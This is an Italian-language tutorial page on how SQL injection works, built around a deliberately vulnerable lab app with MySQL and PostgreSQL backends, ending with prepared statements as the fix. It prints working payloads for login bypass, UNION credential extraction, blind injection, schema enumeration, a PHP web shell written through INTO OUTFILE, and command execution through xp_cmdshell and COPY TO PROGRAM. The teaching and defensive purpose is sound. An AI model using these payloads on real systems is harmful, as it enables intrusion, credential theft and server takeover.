// 1 ZERO-DAY · 1 CVE · 1 EXPLOIT NELLE ULTIME 24H

Come funziona davvero l'SQL Injection: dalla concatenazione di stringhe al compromesso del server

Lasciate che vi mostri l'esatto momento in cui un'applicazione web muore. Non metaforicamente — intendo il preciso byte in cui l'input dell'utente smette di essere dato e diventa grammatica eseguibile.

Nel nostro DeafNews Secure Development Lab, ShopBox esegue due varianti: un backend MySQL su 192.0.2.20 e una variante PostgreSQL su 192.0.2.30. Entrambe offrono le stesse tre funzioni — login, ricerca prodotti, consultazione ordini — e entrambe sono deliberatamente vulnerabili nelle stesse modalità. Vi guiderò attraverso il form di login sull'istanza MySQL perché è la dimostrazione più pulita del meccanismo, ma tutto ciò che segue è traslabile.

Il Punto di Rottura della Grammatica

Ecco il PHP effettivo del gestore di login di ShopBox, leggermente ripulito per leggibilità:

// VULNERABILE — ShopBox login.php (variante MySQL, 192.0.2.10)
$username = $_POST['user'];
$password = $_POST['pass']; $query = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'"; $result = mysqli_query($conn, $query);

L'applicazione pensa di costruire una frase: "Trova l'utente dove username è uguale a [qualcosa] e password è uguale a [qualcos'altro]." Ma il server del database non vede l'intento. Vede una stringa che diventa un albero di sintassi.

Quando inserisco samuel e correcthorse, la query string finale è:

SELECT * FROM users WHERE username = 'samuel' AND password = 'correcthorse'

Il parser (il componente che trasforma il testo in struttura eseguibile) tokenizza questo in: SELECT, *, FROM, users, WHERE, username, =, 'samuel', AND, password, =, 'correcthorse'. Le virgolette singole delimitano i letterali stringa. Tutto ciò che è al loro interno è dato.

Ora osservate cosa succede quando inserisco questo come username:

' OR '1'='1' --

La stringa risultante:

SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = 'anything'

Il parser vede: username = '' (stringa vuota, falsa), poi OR (operatore logico), poi '1'='1' (letterale stringa uguale a letterale stringa, vero), poi -- (inizio commento MySQL, scartando tutto ciò che segue). La clausola WHERE si valuta come TRUE. Ottengo la prima riga della tabella users — tipicamente un amministratore.

In termini semplici: Non ho "hackerato il database." Ho parlato al parser nella sua stessa lingua, e il parser ha creduto che il mio input fosse parte della sua grammatica.

Ecco un diagramma ASCII approssimativo di dove l'analisi sintattica fallisce. La parte superiore mostra ciò che lo sviluppatore intendeva — una netta separazione tra grammatica (parole chiave, operatori) e dati (valori tra virgolette). La parte inferiore mostra il risultato effettivo quando l'input dell'utente contiene metacaratteri (caratteri con significato speciale per il parser, come virgolette singole e trattini):

STRUTTURA PREVISTA (albero di sintassi):
SELECT └── * FROM users WHERE └── username = [DATO: 'samuel'] └── AND └── password = [DATO: 'correcthorse'] STRUTTURA EFFETTIVA CON INPUT INIETTATO:
SELECT └── * FROM users WHERE └── username = '' ← stringa vuota (dato) └── OR ← operatore (GRAMMATICA!) └── '1'='1' ← espressione vera (GRAMMATICA!) └── -- ' AND password... ← commentato (GRAMMATICA!)

Il punto di rottura è la virgoletta singola. Una volta che l'input dell'utente può iniettare una virgoletta singola, esso sfugge dal suo contesto di dato e entra nel contesto di grammatica. Tutto ciò che segue viene analizzato come sintassi SQL, non come dato utente.

Le Cinque Facce dell'Injection

Gli attaccanti non ottengono sempre simpatici messaggi di errore o output visibili. La Top 10 2025 di OWASP classifica l'injection in senso lato [S4], e l'SQL injection in particolare si suddivide in base a ciò che l'attaccante può osservare. Definisco ogni termine al primo uso qui perché questi termini riappaiono in tutta la guida.

Error-based è il più rumoroso e spesso la prima cosa che si rileva a livello difensivo. L'attaccante invia input malformati specificamente per attivare messaggi di errore del database, che trapelano informazioni strutturali — nomi di tabelle, tipi di colonne, a volte persino frammenti di query. Se il PHP di ShopBox non sopprime l'output di mysqli_error(), un payload come ' AND (SELECT 1 FROM nonexistent_table) restituisce qualcosa del tipo Table 'shopbox.nonexistent_table' doesn't exist — confermando il nome del database e indicando all'attaccante che è sulla strada giusta.

UNION-based richiede output visibile nell'applicazione. L'attaccante accoda UNION SELECT per combinare la propria query con quella originale, abbinando il numero di colonne. Un payload classico contro la ricerca prodotti di ShopBox potrebbe apparire così:

' UNION SELECT username, password, NULL, NULL FROM users --

Questo funziona solo se il SELECT originale restituisce quattro colonne e l'applicazione stampa tutte e quattro. L'attaccante ottiene le credenziali in ciò che sembra un elenco di prodotti. [S6]

Boolean-based blind (blind significa che l'attaccante non ottiene dati diretti) è dove le cose diventano sottili. L'applicazione restituisce pagine diverse per "nessun risultato" rispetto a "risultati trovati," ma non mostra mai l'effettivo output del database. L'attaccante pone domande vero/falso e osserva il cambiamento della pagina. Contro la consultazione ordini di ShopBox:

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --

Se il primo carattere della password amministratore è 'a', la query restituisce righe e la pagina mostra "Ordine trovato." Altrimenti, "Nessun ordine." Un bit per richiesta. Lento, ma completamente automatizzabile. [S6][S8]

Time-based blind è la stessa logica con un canale diverso. Invece delle differenze di pagina vero/falso, l'attaccante inietta funzioni di ritardo specifiche del database. In MySQL: ' AND IF(1=1, SLEEP(5), 0) --. La pagina impiega cinque secondi in più a caricarsi quando la condizione è vera. Nessun dato restituito, nessun errore mostrato — solo timing. [S6][S8]

Stacked queries (anche chiamate batched o multiple queries) permettono all'attaccante di aggiungere interamente nuove istruzioni dopo quella originale, terminate da un punto e virgola. Il driver PHP di MySQL storicamente lo permetteva con mysqli_multi_query ma non con mysqli_query standard. PostgreSQL è più permissivo. È così che si passa dalla lettura dati alla scrittura di file o all'esecuzione di comandi — trattato nell'escalation qui sotto.

Grammatica Specifica del Database: MySQL vs PostgreSQL

Le fonti notano che i payload variano tra i server di database [S7], e questo conta per la difesa perché non è possibile semplicemente fare pattern matching di una sintassi. Lasciate che vi mostri la differenza pratica usando i due backend di ShopBox.

Sia MySQL che PostgreSQL espongono la struttura del database tramite un information schema — un insieme standardizzato di viste che descrivono tabelle, colonne e vincoli. Ma i dettagli implementativi divergono immediatamente.

Su ShopBox-MySQL (192.0.2.20), un attaccante che conferma l'injectability potrebbe usare:

' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database() --

La funzione database() restituisce il nome del database corrente. information_schema.tables elenca tutte le tabelle che l'utente corrente può vedere.

Su ShopBox-PostgreSQL (192.0.2.30), lo stesso intento richiede sintassi diversa:

' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=current_schema() --

PostgreSQL usa current_schema() invece di database(). Anche la concatenazione di stringhe differisce — MySQL usa CONCAT(), PostgreSQL usa || o CONCAT(). Sintassi dei commenti: MySQL accetta -- (con spazio finale) o /* */; PostgreSQL accetta -- ma /* */ è standard. Queste differenze sono il motivo per cui strumenti automatizzati come sqlmap (trattato a pagina 4) portano dizionari di payload specifici per database.

Perché questo conta: Una regola WAF che blocca database() manca completamente PostgreSQL. Il rilevamento difensivo deve tenere conto di entrambe le grammatiche, specialmente in ambienti misti o durante migrazioni.

Il Percorso di Escalation: dalla Lettura all'Esecuzione

L'esfiltrazione dati è imbarazzante. Il compromesso del server è catastrofico. Il percorso tra i due attraversa funzionalità specifiche del database che gli attaccanti abusano, e devo essere accurato qui perché la copertura delle fonti è scarsa per diversi di questi.

Authentication bypass è l'escalation più semplice — l'esempio ' OR '1'='1 sopra. Ma esistono bypass più mirati. Se la query di ShopBox usa confronto numerico invece di corrispondenza stringa, o se la logica dell'applicazione controlla mysqli_num_rows($result) > 0 senza validare quale utente sia stato restituito, l'attaccante ottiene accesso arbitrario all'account.

Credential theft via UNION l'abbiamo già visto. L'attaccante non ha bisogno di bypassare il login se può leggere direttamente gli hash delle password.

File operations in MySQL usano INTO OUTFILE e INTO DUMPFILE. Se l'utente MySQL ha il privilegio FILE e la configurazione del server lo permette, un attaccante può scrivere:

' UNION SELECT 1, "<?php system($_GET['cmd']); ?>", 3, 4 INTO OUTFILE '/var/www/shell.php' --

Devo segnalare: non ho dettagli di fonte verificati sul comportamento di INTO OUTFILE, requisiti di versione, o restrizioni predefinite [Coverage Gap]. Consultate la documentazione della versione MySQL del vostro target. Il percorso /var/www/shell.php è illustrativo — le actual web root variano.

Command execution in Microsoft SQL Server usa xp_cmdshell, una stored procedure estesa. Le fonti menzionano xp_dirtree in contesti di SQL injection [S8] ma non documentano la meccanica di xp_cmdshell. Non invento sintassi qui. Il pattern generale: se abilitato e l'attaccante può raggiungere un backend SQL Server, le stacked queries permettono EXEC xp_cmdshell 'whoami'.

L'equivalente di PostgreSQL è COPY ... TO PROGRAM, introdotto nella versione 9.3. Il pattern di sintassi è:

COPY (SELECT '') TO PROGRAM 'id'

Ancora, mancano dettagli di fonte verificati su requisiti esatti, necessità di superuser, o interazioni con pg_hba.conf [Coverage Gap]. Ciò che posso dire: l'avvio del protocollo di PostgreSQL include l'identificazione di utente e database [S3], e il server valida contro i file di configurazione prima di accettare connessioni. Questo non previene l'injection, ma influenza ciò che l'utente connesso può abusare.

⚠️ Solo per uso autorizzato e difensivo. Le tecniche sopra sono dimostrate contro host di lab isolati 192.0.2.20 e 192.0.2.30 senza connettività esterna. Documentate ogni payload per correlazione difensiva.

Perché le Prepared Statements Funzionano Davvero

Le fonti elencano le prepared statements come mitigazione [S6], ma il perché è raramente spiegato bene. Non è magica escape di stringhe. È separazione della grammatica a livello di protocollo.

Ecco nuovamente il login vulnerabile di ShopBox, poi la sua versione corretta:

// VULNERABILE — concatenazione di stringhe, punto di rottura della grammatica
$query = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = mysqli_query($conn, $query);
// DIFENSIVO — query parametrica, grammatica fissata prima dell'arrivo dei dati
$stmt = mysqli_prepare($conn, "SELECT * FROM users WHERE username = ? AND password = ?");
mysqli_stmt_bind_param($stmt, "ss", $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Il ? è un placeholder di parametro — un marcatore nell'albero di grammatica dove i dati si attaccheranno in seguito, ma che è in sé mai analizzato come sintassi. Quando mysqli_prepare() viene eseguita, il server del database analizza la struttura della query una sola volta, compila un piano di esecuzione, e restituisce un handle di istruzione. Le posizioni ? sono tipizzate ("ss" significa due stringhe) ma grammaticalmente inerti.

Quando mysqli_stmt_bind_param() invia il nome utente e la password effettivi, essi viaggiano nel canale di binding dei parametri del protocollo — non come testo accodato a una stringa di query. Il server del database sa già che questo è dato. Anche se $username contiene ' OR '1'='1, il server lo tratta come valore di letterale stringa, non come operatori e confronti.

Il PREPARE di PostgreSQL funziona similmente a livello di protocollo, con tipizzazione esplicita dei parametri [S1]:

PREPARE user_login (text, text) AS SELECT * FROM users WHERE username = $1 AND password = $2;

Il $1 e $2 sono parametri posizionali. PostgreSQL inferisce i tipi dal contesto se non specificati, o usa dichiarazioni esplicite [S1]. La prepared statement dura per la sessione e può essere rimossa con DEALLOCATE [S1]. Il server sceglie automaticamente tra piani di esecuzione generici o personalizzati tramite plan_cache_mode = auto (predefinito) quando esistono parametri [S1].

In termini semplici: Le prepared statements non "sanificano" l'input. Eliminano del tutto la superficie di attacco separando quando la grammatica viene decisa (momento della prepare) da quando i dati arrivano (momento dell'esecuzione). Il parser non vede mai l'input utente come potenzialmente grammaticale.

Questo è perché le funzioni di escaping sono una difesa più debole — operano a livello di stringa, cercando di indovinare quali caratteri necessitano prefissi con backslash. Il punto di rottura della grammatica esiste ancora; si spera semplicemente che l'escape sia completo. Le prepared statements eliminano il punto di rottura.

Le Tre Superfici che Rivedrete

In tutta questa guida, ritorno a queste funzioni di ShopBox:

Superficie Pattern di Query Tipico Tipo di Injection Solitamente Trovato
Form di login SELECT * FROM users WHERE user='...' AND pass='...' Boolean bypass, error-based
Ricerca prodotti SELECT * FROM products WHERE name LIKE '%...%' UNION-based, error-based
Consultazione ordini SELECT * FROM orders WHERE order_id=... AND user_id=... Blind (boolean/time), stacked

Ogni superficie ha un comportamento di output diverso — il login dice sì/no, la ricerca mostra multiple colonne, la consultazione ordini potrebbe non restituire nulla di visibile. Queste caratteristiche di output determinano quali tecniche di injection sono praticabili, che a loro volta determinano cosa le vostre regole di rilevamento devono sorvegliare.

Nella prossima pagina, catalogherò i pattern di payload effettivi che sfruttano queste superfici: le stringhe manomesse, le variazioni di commento, i trucchi di codifica che eludono filtri naïf. Poi a pagina 3, percorreremo l'exploitation manuale di tutte e tre le superfici di ShopBox, così da capire cosa fanno gli strumenti automatizzati sotto il cofano prima di lanciare sqlmap a pagina 4.

Per ora, la lezione fondamentale: l'SQL injection non è un problema di stringhe. È un problema di grammatica. Correggete la separazione della grammatica, e correggete la vulnerabilità.

Letture consigliate